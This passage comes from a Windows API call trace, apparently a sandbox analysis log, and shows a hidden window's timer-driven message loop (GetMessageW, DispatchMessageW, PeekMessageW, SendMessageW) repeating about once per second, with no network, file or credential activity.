wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0244.900] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0244.900] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0244.901] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0244.901] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0245.904] GetParent (hWnd=0x30098) returned 0x0 [0245.905] GetParent (hWnd=0x30098) returned 0x0 [0245.905] GetParent (hWnd=0x30098) returned 0x0 [0245.905] GetParent (hWnd=0x30098) returned 0x0 [0245.905] TranslateMessage (lpMsg=0xc3d688) returned 0 [0245.905] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0245.905] IsWindowVisible (hWnd=0x30098) returned 0 [0245.905] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0245.905] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0245.905] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0245.905] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0245.905] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0245.905] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0246.912] GetParent (hWnd=0x30098) returned 0x0 [0246.912] GetParent (hWnd=0x30098) returned 0x0 [0246.912] GetParent (hWnd=0x30098) returned 0x0 [0246.912] GetParent (hWnd=0x30098) returned 0x0 [0246.912] TranslateMessage (lpMsg=0xc3d688) returned 0 [0246.912] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0246.912] IsWindowVisible (hWnd=0x30098) returned 0 [0246.912] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0246.912] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0246.912] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0246.912] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0246.912] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0246.912] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0247.912] GetParent (hWnd=0x30098) returned 0x0 [0247.912] GetParent (hWnd=0x30098) returned 0x0 [0247.912] GetParent (hWnd=0x30098) returned 0x0 [0247.912] GetParent (hWnd=0x30098) returned 0x0 [0247.912] TranslateMessage (lpMsg=0xc3d688) returned 0 [0247.912] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0247.912] IsWindowVisible (hWnd=0x30098) returned 0 [0247.912] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0247.912] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0247.912] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0247.912] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0247.912] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0247.912] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0248.912] GetParent (hWnd=0x30098) returned 0x0 [0248.912] GetParent (hWnd=0x30098) returned 0x0 [0248.912] GetParent (hWnd=0x30098) returned 0x0 [0248.912] GetParent (hWnd=0x30098) returned 0x0 [0248.912] TranslateMessage (lpMsg=0xc3d688) returned 0 [0248.912] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0248.912] IsWindowVisible (hWnd=0x30098) returned 0 [0248.912] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0248.912] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0248.912] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0248.912] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0248.912] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0248.912] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0249.915] GetParent (hWnd=0x30098) returned 0x0 [0249.915] GetParent (hWnd=0x30098) returned 0x0 [0249.915] GetParent (hWnd=0x30098) returned 0x0 [0249.915] GetParent (hWnd=0x30098) returned 0x0 [0249.915] TranslateMessage (lpMsg=0xc3d688) returned 0 [0249.915] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0249.915] IsWindowVisible (hWnd=0x30098) returned 0 [0249.915] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0249.915] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0249.915] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0249.915] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0249.915] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0249.915] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0250.928] GetParent (hWnd=0x30098) returned 0x0 [0250.928] GetParent (hWnd=0x30098) returned 0x0 [0250.928] GetParent (hWnd=0x30098) returned 0x0 [0250.928] GetParent (hWnd=0x30098) returned 0x0 [0250.928] TranslateMessage (lpMsg=0xc3d688) returned 0 [0250.928] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0250.928] IsWindowVisible (hWnd=0x30098) returned 0 [0250.928] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0250.928] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0250.928] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0250.928] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0250.928] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0250.928] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0251.943] GetParent (hWnd=0x30098) returned 0x0 [0251.943] GetParent (hWnd=0x30098) returned 0x0 [0251.943] GetParent (hWnd=0x30098) returned 0x0 [0251.943] GetParent (hWnd=0x30098) returned 0x0 [0251.943] TranslateMessage (lpMsg=0xc3d688) returned 0 [0251.943] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0251.944] IsWindowVisible (hWnd=0x30098) returned 0 [0251.944] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0251.944] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0251.944] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0251.944] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0251.944] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0251.944] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0252.943] GetParent (hWnd=0x30098) returned 0x0 [0252.943] GetParent (hWnd=0x30098) returned 0x0 [0252.943] GetParent (hWnd=0x30098) returned 0x0 [0252.943] GetParent (hWnd=0x30098) returned 0x0 [0252.943] TranslateMessage (lpMsg=0xc3d688) returned 0 [0252.943] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0252.943] IsWindowVisible (hWnd=0x30098) returned 0 [0252.943] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0252.944] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0252.944] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0252.944] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0252.944] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0252.944] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0253.959] GetParent (hWnd=0x30098) returned 0x0 [0253.959] GetParent (hWnd=0x30098) returned 0x0 [0253.959] GetParent (hWnd=0x30098) returned 0x0 [0253.959] GetParent (hWnd=0x30098) returned 0x0 [0253.959] TranslateMessage (lpMsg=0xc3d688) returned 0 [0253.959] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0253.959] IsWindowVisible (hWnd=0x30098) returned 0 [0253.959] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0253.959] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0253.959] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0253.959] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0253.959] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0253.959] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0254.961] GetParent (hWnd=0x30098) returned 0x0 [0254.961] GetParent (hWnd=0x30098) returned 0x0 [0254.961] GetParent (hWnd=0x30098) returned 0x0 [0254.961] GetParent (hWnd=0x30098) returned 0x0 [0254.961] TranslateMessage (lpMsg=0xc3d688) returned 0 [0254.961] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0254.961] IsWindowVisible (hWnd=0x30098) returned 0 [0254.961] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0254.961] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0254.961] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0254.961] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0254.961] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0254.962] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0255.967] GetParent (hWnd=0x30098) returned 0x0 [0255.967] GetParent (hWnd=0x30098) returned 0x0 [0255.967] GetParent (hWnd=0x30098) returned 0x0 [0255.967] GetParent (hWnd=0x30098) returned 0x0 [0255.967] TranslateMessage (lpMsg=0xc3d688) returned 0 [0255.967] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0255.967] IsWindowVisible (hWnd=0x30098) returned 0 [0255.967] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0255.967] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0255.967] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0255.967] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0255.967] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0255.967] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0256.983] GetParent (hWnd=0x30098) returned 0x0 [0256.983] GetParent (hWnd=0x30098) returned 0x0 [0256.983] GetParent (hWnd=0x30098) returned 0x0 [0256.983] GetParent (hWnd=0x30098) returned 0x0 [0256.983] TranslateMessage (lpMsg=0xc3d688) returned 0 [0256.983] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0256.983] IsWindowVisible (hWnd=0x30098) returned 0 [0256.983] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0256.983] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0256.983] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0256.983] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0256.983] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0256.983] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0257.998] GetParent (hWnd=0x30098) returned 0x0 [0257.998] GetParent (hWnd=0x30098) returned 0x0 [0257.998] GetParent (hWnd=0x30098) returned 0x0 [0257.998] GetParent (hWnd=0x30098) returned 0x0 [0257.998] TranslateMessage (lpMsg=0xc3d688) returned 0 [0257.998] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0257.998] IsWindowVisible (hWnd=0x30098) returned 0 [0257.998] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0257.998] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0257.999] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0257.999] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0257.999] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0257.999] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0258.998] GetParent (hWnd=0x30098) returned 0x0 [0258.998] GetParent (hWnd=0x30098) returned 0x0 [0258.998] GetParent (hWnd=0x30098) returned 0x0 [0258.998] GetParent (hWnd=0x30098) returned 0x0 [0258.998] TranslateMessage (lpMsg=0xc3d688) returned 0 [0258.998] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0258.998] IsWindowVisible (hWnd=0x30098) returned 0 [0258.998] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0258.999] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0258.999] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0258.999] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0258.999] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0258.999] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0259.996] GetParent (hWnd=0x30098) returned 0x0 [0259.996] GetParent (hWnd=0x30098) returned 0x0 [0259.996] GetParent (hWnd=0x30098) returned 0x0 [0259.996] GetParent (hWnd=0x30098) returned 0x0 [0259.996] TranslateMessage (lpMsg=0xc3d688) returned 0 [0259.996] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0259.996] IsWindowVisible (hWnd=0x30098) returned 0 [0259.996] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0259.996] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0259.996] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0259.996] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0259.996] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0259.996] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0261.011] GetParent (hWnd=0x30098) returned 0x0 [0261.011] GetParent (hWnd=0x30098) returned 0x0 [0261.011] GetParent (hWnd=0x30098) returned 0x0 [0261.011] GetParent (hWnd=0x30098) returned 0x0 [0261.011] TranslateMessage (lpMsg=0xc3d688) returned 0 [0261.011] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0261.011] IsWindowVisible (hWnd=0x30098) returned 0 [0261.011] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0261.012] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0261.012] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0261.012] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0261.012] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0261.012] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0262.027] GetParent (hWnd=0x30098) returned 0x0 [0262.027] GetParent (hWnd=0x30098) returned 0x0 [0262.027] GetParent (hWnd=0x30098) returned 0x0 [0262.027] GetParent (hWnd=0x30098) returned 0x0 [0262.027] TranslateMessage (lpMsg=0xc3d688) returned 0 [0262.027] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0262.027] IsWindowVisible (hWnd=0x30098) returned 0 [0262.027] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0262.027] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0262.027] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0262.027] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0262.027] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0262.027] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0263.027] GetParent (hWnd=0x30098) returned 0x0 [0263.027] GetParent (hWnd=0x30098) returned 0x0 [0263.027] GetParent (hWnd=0x30098) returned 0x0 [0263.027] GetParent (hWnd=0x30098) returned 0x0 [0263.027] TranslateMessage (lpMsg=0xc3d688) returned 0 [0263.027] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0263.027] IsWindowVisible (hWnd=0x30098) returned 0 [0263.027] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0263.027] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0263.027] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0263.027] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0263.027] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0263.027] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0264.043] GetParent (hWnd=0x30098) returned 0x0 [0264.043] GetParent (hWnd=0x30098) returned 0x0 [0264.043] GetParent (hWnd=0x30098) returned 0x0 [0264.043] GetParent (hWnd=0x30098) returned 0x0 [0264.043] TranslateMessage (lpMsg=0xc3d688) returned 0 [0264.043] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0264.043] IsWindowVisible (hWnd=0x30098) returned 0 [0264.043] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0264.043] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0264.043] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0264.043] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0264.043] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0264.043] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0265.055] GetParent (hWnd=0x30098) returned 0x0 [0265.055] GetParent (hWnd=0x30098) returned 0x0 [0265.055] GetParent (hWnd=0x30098) returned 0x0 [0265.055] GetParent (hWnd=0x30098) returned 0x0 [0265.055] TranslateMessage (lpMsg=0xc3d688) returned 0 [0265.055] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0265.055] IsWindowVisible (hWnd=0x30098) returned 0 [0265.055] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0265.055] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0265.055] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0265.055] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0265.055] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0265.055] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0266.046] GetParent (hWnd=0x30098) returned 0x0 [0266.046] GetParent (hWnd=0x30098) returned 0x0 [0266.046] GetParent (hWnd=0x30098) returned 0x0 [0266.046] GetParent (hWnd=0x30098) returned 0x0 [0266.046] TranslateMessage (lpMsg=0xc3d688) returned 0 [0266.046] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0266.046] IsWindowVisible (hWnd=0x30098) returned 0 [0266.046] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0266.046] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0266.046] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0266.046] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0266.046] CallWindowProcW 